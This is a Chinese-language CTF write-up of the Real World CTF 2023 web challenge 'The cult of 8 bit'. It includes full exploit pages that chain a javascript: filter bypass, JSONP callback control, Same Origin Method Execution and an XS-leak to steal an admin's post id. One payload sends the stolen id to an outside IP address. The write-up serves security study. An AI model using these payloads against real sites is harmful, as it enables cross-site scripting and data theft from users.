[Real World CTF 2023] The cult of 8 bit 一道rwctf正赛的web题,考点是some attack和xsleak
[toc]
题目描述
Valentina is trapped in the 8-bit cult, will you be able to find the secret and free her?
nc 47.254.41.26 9999
attachment
源码分析 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 bot/bot.js code/ app.js routes/api.js src/ db.js middleware.js views/ home.ejs login.ejs post.ejs register.ejs report.ejs docker-compose.yml Dockerfile
题目是一个在线blog,flag存放于admin的一篇post中,另外提供了一个bot用来模拟admin访问指定的url
所有的post都由/post/:id
来访问,而id是一个随机的uuid字符串,访问时只需要uuid,不需要鉴权
我们这题的目标就是要得到admin发送的那篇post的id,拿到id再访问即可获得flag
攻击思路 √ 创建todo的bypass 本题有一个奇特的小功能就是可以创建todo,源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 router.post ("/create/todo" , [mw.csrfProtection , mw.requiresLogin ], (req, res ) => { let { text } = req.body ; if (!text) { return res.redirect ("/?msg=Missing text" ); } if (typeof text !== "string" ) { return res.redirect ("/?msg=Missing text" ); } let isURL = false ; try { new URL (text); isURL = !text.toLowerCase ().trim ().startsWith ("javascript:" ); } catch {} req.user .todos .push ({ text, isURL }); res.redirect ("/" ); });
如果你的todo是一个url对象,就会让isURL=true
,而home.ejs在渲染时会把url给放在<a>
标签中
1 2 3 4 5 6 7 <%_ user.todos.forEach(todo => { _%> <%_ if (todo.isURL) { _%> <li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li> <%_ } else { _%> <li class="has-text-left"><%= todo.text %></li> <%_ } _%> <%_ }); _%>
但是这里不让以javascript:
开头,也就不让你用js伪协议来执行代码,但在一篇文章我找到了bypass的方式
But I was able to bypass it with %19javascript:alert()
. It still is a valid URL, the trim()
removes only whitespaces, and the browsers usually ignore \x01-\x20
bytes before javascript:
如果我们不使用javascript伪协议,其实也可以想办法执行js代码
1 <li class="has-text-left"><a target="_blank" href=<%= todo.text %>><%= todo.text %></a></li>
这里的href=<%= todo.text %>
是直接拼接的,我们可以直接在a标签的href属性后面加一个属性
1 http://xxx?<space>onclick=eval(atob(`base64-code`))<space>
但这里最终还是无法利用,原因有三点
加入了target=”_blank”属性,会打开一个空窗口
admin用户无法创建todo,就算我们能够触发也只能进行self-xss
admin不会主动点击这个链接
× POST_SERVER劫持 在post.ejs中存在这样一段
1 2 3 4 5 6 7 8 9 10 11 12 13 const request = new XMLHttpRequest ();try { request.open ('GET' , POST_SERVER + `/api/post/` + encodeURIComponent (id), false ); request.send (null ); } catch (err) { let script = document .createElement ("script" ); script.src = `${POST_SERVER} /api/post/${id} ?callback=load_post` ; document .head .appendChild (script); return ; } load_post (JSON .parse (request.responseText ));
如果我们能够控制POST_SERVER就可以进入catch语句中,从而控制script.src
来远程加载我们的js代码,
可惜本题没有任何方法能修改这个POST_SERVER
√ request.open报错 还是在post.ejs中
1 2 3 4 5 6 7 8 9 10 11 12 13 const request = new XMLHttpRequest ();try { request.open ('GET' , POST_SERVER + `/api/post/` + encodeURIComponent (id), false ); request.send (null ); } catch (err) { let script = document .createElement ("script" ); script.src = `${POST_SERVER} /api/post/${id} ?callback=load_post` ; document .head .appendChild (script); return ; } load_post (JSON .parse (request.responseText ));
如果POST_SERVER已经确定不可控,那么我们在这里想要进入catch中,就只能从id入手,让request.open产生报错
在chrome控制台中fuzz一下
1 2 3 4 5 6 7 8 9 10 for (i=0 ; i<1000 ; i++){ const request = new XMLHttpRequest (); try { request.open ('GET' , `/api/post/` + encodeURIComponent (String .fromCharCode (i)), false ); request.send (null ); } catch (err) { console .log ("ERROR :" , i, err) } }
最后可以发现url中如果带有%00,request.open就会报错,顺利进入catch中,
√ 控制callback参数 而在后续的代码中我们只需要加入%23,即#,就可以让后面的uri失效,从而可以控制callback参数
我们最终的payload如下,
1 http://localhost:12345/post/?id={valid_id}?callback=our_function%23%00
生成的script就会变成
1 <script src=/api/post/{valid_id}?callback=our_function#%00?callback=load_post></script>
最终的效果是我们可以控制这里的回调函数
√ SOME attack 当控制了回调函数之后,就可以进行进行SOME attack攻击,这是一个2014年的blackhat议题,最终的攻击效果是可以在同源的任何页面执行js代码
这里有一个小demo可以用来尝试some attack
Same Origin Method Execution - About (someattack.com)
例如以下payload,可以在/post路由的页面弹窗
1 http://192.168.142.1:12345/post/?id=123?callback=alert()%23%00
但我们控制的js代码执行范围不仅限于这个界面,我们可以利用opener在同源的其他页面执行js代码
在本题中我们的目标是获取admin的post-id,那我们必须在home页面中获取到post-id这个元素,这里通过一个例子来演示
a.html
1 2 3 4 <script > b = open (`/b.html` ); location.replace ("http://192.168.142.1:12345/" ); </script >
b.html
1 2 3 4 <script > setTimeout (`location.replace("http://192.168.142.1:12345/post/?id=123?callback=opener.alert()%23%00")` , 1000 ) </script >
用php开一个临时的web服务
只要一个受害者访问了http://192.168.142.1/a.html后就会在他的home页被xss(也就是原先的a.html)
在b.html中也可以看看opener对象
这里能获取cookie,但是不知道为何没有connect.sid,只有_csrf,无法登录admin
但我们是能够获取到home页的元素的,我们查看一下admin主页的post-id
剩下来的就是想办法拿到回显了
非预期解 SOME attack配合xsleak拿到post-id
逐位读出post-id,再发请求到服务器上即可
用题目的bot怎么都打不通,也不知道咋调试,不知道问题出在哪里,这里就手动模拟访问
a.html
1 2 3 4 <script> b = open (`/b.html` ); location.replace ("http://192.168.142.1:12345/" ); </script>
b.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <body> <a id =focusme href =# > sth</a > <script > const sleep = d => new Promise (r => setTimeout (r, d)); alphabet = "0123456789abcdef-" for (var i = 0 ; i < alphabet.length ; i++) { iframe = document .createElement ("iframe" ); iframe.name = alphabet[i]; iframe.src = "http://192.168.142.1:12345/" ; document .body .appendChild (iframe); } hovered = [] const main = async ( ) => { setInterval (() => { p = document .activeElement .name if (p) { hovered.push (p); document .getElementById ("focusme" ).focus (); } }, 75 ) await sleep (2000 ); c = open (`/c.html` ); await sleep (2000 + 150 ); setInterval (() => { fetch (`/ret/${hovered.join("" )} ` ) }, 2000 ); } main (); </script > </body>
c.html
1 2 3 4 <script> d = open (`/d.html` ); </script>
d.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <script> const sleep = d => new Promise (r => setTimeout (r, d)); const main = async ( ) => { await sleep (1000 ); const start=0 ; for (var i = start; i <= start+36 +1 ; i++) { PAYLOAD = `opener[opener.opener.document.body.firstElementChild.nextElementSibling.firstElementChild.firstElementChild.firstElementChild.firstElementChild.nextElementSibling.nextElementSibling.nextElementSibling.firstElementChild.firstElementChild.firstElementChild.text[${i} ]].focus` ; opener.location .replace (`http://192.168.142.1:12345/post/?id=123?callback=${PAYLOAD} %23%00` ); await sleep (1500 ); } } main (); </script>
预期解 要执行的js
1 2 3 location.href="http://39.107.138.71/?"+btoa(opener.document.links[3].text) bG9jYXRpb24uaHJlZj0iaHR0cDovLzM5LjEwNy4xMzguNzEvPyIrYnRvYShvcGVuZXIuZG9jdW1lbnQubGlua3NbM10udGV4dCk=
插入todo进行xss
1 http://xxx?<space>onclick=eval(atob(`bG9jYXRpb24uaHJlZj0iaHR0cDovLzM5LjEwNy4xMzguNzEvPyIrYnRvYShvcGVuZXIuZG9jdW1lbnQubGlua3NbM10udGV4dCk=`))<space>
a.html
1 2 3 4 5 6 7 8 9 10 <script> const sleep = d => new Promise(r => setTimeout(r, d)); const main = async () => { b= open(`/b.html`); location.replace("http://127.0.0.1:12345"); } main(); </script>
b.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <script> const sleep = d => new Promise(r => setTimeout(r, d)); const main = async () => { await sleep(1000); //wait for a.html to redirect t=open(`/delete_csrf.html`); await sleep(1000); t.close(); //delete csrf for logout t= open(`http://127.0.0.1:12345/api/logout`); await sleep(1000); t.close(); //logout t=open(`/delete_csrf.html`); await sleep(1000); t.close(); //delete csrf for login t= open(`/login.html`); await sleep(1000); t.close(); //login as a common user open(`/todo.html`); location.replace("http://127.0.0.1:12345"); //click todo to xss in admin home } main(); </script>
c.html
1 2 3 4 5 6 7 8 9 10 <script> const sleep = d => new Promise(r => setTimeout(r, d)); const main = async () => { opener.location.replace(`/delete_csrf.html`) opener.location.replace() } main(); </script>
delete_csrf.html
1 2 3 4 5 6 7 8 9 10 11 12 13 <script> const sleep = d => new Promise(r => setTimeout(r, d)); const main = async () => { id ="7d8fbf09-d3d4-424b-9f2a-371a53ba5f5e"; PAYLOAD = `cookieStore.delete`; t=open(`http://127.0.0.1:12345/post/?id=${id}?callback=${PAYLOAD}%23%00`); await sleep(1000); t.close(); } main(); </script>
login.html
1 2 3 4 5 6 7 8 9 10 <body> <form action="http://127.0.0.1:12345/api/login" method="POST"> <input class="input" type="text" placeholder="Username" name="user" value="11111111"/> <input class="input" type="password" placeholder="Password" name="pass" value="11111111"/> <input type="submit" value="Login"/> </form> </body> <script> document.forms[0].submit(); </script>
todo.html
1 2 3 4 5 6 7 8 9 10 11 <script> const sleep = d => new Promise(r => setTimeout(r, d)); const main = async () => { await sleep(1000); PAYLOAD = `opener.document.links[4].click`; location.replace(`http://127.0.0.1:12345/post/?id=123?callback=${PAYLOAD}%23%00`); } main(); </script>
Reference [Real World CTF 2023] The cult of 8 bit - Empty (sh1yo.art)
eu-14-Hayak-Same-Origin-Method-Execution-Exploiting-A-Callback-For-Same-Origin-Policy-Bypass-wp.pdf (blackhat.com)
CSRF/Markup Injection/Prototype Pollution/SOME/Cookie Toss?! Solution to October ‘22 XSS Challenge - YouTube
XMLHttpRequest Standard (whatwg.org)
Introduction | XS-Leaks Wiki (xsleaks.dev)
Same Origin Method Execution - About (someattack.com)